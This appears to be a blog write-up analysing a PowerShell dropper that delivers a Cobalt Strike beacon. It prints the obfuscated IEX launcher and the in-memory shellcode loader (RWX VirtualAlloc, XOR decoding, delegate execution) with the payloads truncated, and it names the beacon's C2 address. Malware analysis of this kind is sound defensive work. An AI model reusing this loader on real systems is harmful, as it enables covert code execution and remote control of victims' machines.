Cobalt Strike Beacon Dropper Static Analysis
Cobalt Strike, which was originally developed as a legitimate security tool used for adversary emulation by Red Teams, has become a double-edged sword. Malicous actors have cracked the software, since then it’s been abused by adversaries ranging from hacktivists to APTs to fufill their needs. This is article is an analysis of the PowerShell script that leads to execution of a Cobalt Strike beacon.
Discovery
I recently discovered this malicious PowerShell script from a Twitter post by @xorJosh. In his tweet he described an Oracle related service was exploited to download and execute a PowerShell script.
The malware sample mentioned can be found on MalwareBazaar. Lets download this ourselves and have a look!
Static Analysis (Stage 0)
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAA/+y9Wa/qSrIu+rzrV8yHLa21xNo1wBhjjrSla2wwxh09mDqlkjHgBtw3YM49//1GZBoGY865VtXW1rkPV3dKUwyMnU1kNF9ERqSXp+I/lkXmO4UeH0/f/mNzynI/jr4xf/nLuYycAv/GP/7hnop/JFns/MM+HrNTnn/7X3/5t
....QUA"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
The PS script starts by defining a variable s
to Base64 decoded binary data. Once we get to the end of the s
variable, we see the following:
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
This Gzip decompresses the variable s
, and inputs into the StreamReader object. The contents of the StreamReader object are then passed as input into the IEX function, Invoke-Expression, which executes a given PowerShell command or script. From this, we can take a guess that s
is gzip compressed, PowerShell code? Let’s recreate this process of Base64 decoding & Gzip decompressing in CyberChef.
We can see that indeed, this was more PowerShell code to be executed. Let’s download this locally and analyze this script
Static Analysis (Stage 1)
Set-StrictMode -Version 2
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
If ([IntPtr]::size -eq 8) {
[Byte[]]$var_code = [System.Convert]::FromBase64String('bnlicXZrqsZros8DIyMja64+ydzc3Guq/Gui4GdHIiPc8GKb05aBdUsnIyMjeWuq2tzzIyMjIyMjIyMj2yMjIy08mS0jlyruApsib+4Cd0tKUANTUUxEUUJOA0BCTU1MVwNBRgNRVk0DSk0DZ2xwA05MR
...OP84/')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}
The first defined function, func_get_proc_address()
, basically retrieves the memory address of a specified procedure/function from a specified DLL. We can see this is used here, $var_var = ... func_get_proc_address kernel32.dll VirtualAlloc), (...
.
VirtualAlloc is a function of the Win32 API used to allocate a certain region of memory, to the calling process. We can see on the next line the parameters of this function, $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
(We’ll get onto this $var_code
variable in a second). Referencing the documentation on the VirtualAlloc function reveals:
We can now match up the corresponding parameters to the Microsoft documentation, but the one I’m most interested in is flProtect
, which is set to 0x40
. flProtect
defines the permissions given to an set allocation of memory.
We can see 0x40
is equivalent to PAGE_EXECUTE_READWRITE
, which indicates the allocated memory is more than likely going to be used to execute malicous code. Let’s uncover said code.
If ([IntPtr]::size -eq 8) {
[Byte[]]$var_code = [System.Convert]::FromBase64String('bnlicXZrqsZros8DIyMja64+ydzc3Guq/Gui4GdHIiPc8GKb05aBdUsnIyMjeWuq2tzzIyMjIyMjIyMj2yMjIy08mS0jlyruApsib+4Cd0tKUANTUUxEUUJOA0BCTU1MVwNBRgNRVk0DSk0DZ2xwA05MR
...OP84/')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
Going through this line by line, we first see a conditional statement, If ([IntPtr]::size -eq 8) {...
. [IntPtr]::size
is an integer that defines the architecture type. In a 32-bit system this is equal to 4
and in a 64-bit system this is equal to 8
. This first line checks if the program is of a 64-bit architecture, if so it’ll continue executing, otherwise it’ll finish without doing anything.
The next line, [Byte[]]$var_code = [System.Convert]::FromBase64String('bn...4/')
, Base64 decodes a massive string, and then stores it as a byte array. The for loop that follows this, iterates over each element of this byte array, performing the following operation - $var_code[$x] = $var_code[$x] -bxor 35
. This just bitwise XORs each element of the array with decimal 35. Interesting…
We can make a conclusion here that the string bnli...P84/
is XOR encrypted & Base64 encoded. Let’s recreate this in CyberChef.
We can see the recongizable PE DOS header MZ
identifiying this file as an Windows Executable. Let’s download this file locally and move onto Stage 2!
Static Analysis (Stage 2)
For confirmation, I used the Linux file
command to verify I’m dealing with an .exe file.
Let’s run the strings
command, to see if any we can recover anything interesting.
Interesting, we see beacon.x64.dll
, certaintly looks dodgy right? Googling this reveals this is a common string found in Cobalt Strike beacons. Know we now for sure this a Cobalt Strike beacon, let’s try extract the configuration.
To do this task, I took advanatge of this great tool.
From this we can clearly see the IP address is of the C2 server is 81.70.197[.]244
over port 4433
with the HTTPS protocol. We can also see the HTTP C2 communications are sent to a URI of /jquery-3.3.1.min.js
, in attempt to masquerade as a jsquery request.
Searching this IP on VirusTotal we can see it’s been flagged from 2/88 security vendors. Further basic OSINT discovers it to be hosted by the cloud provider Tencet Cloud Computing Company Limited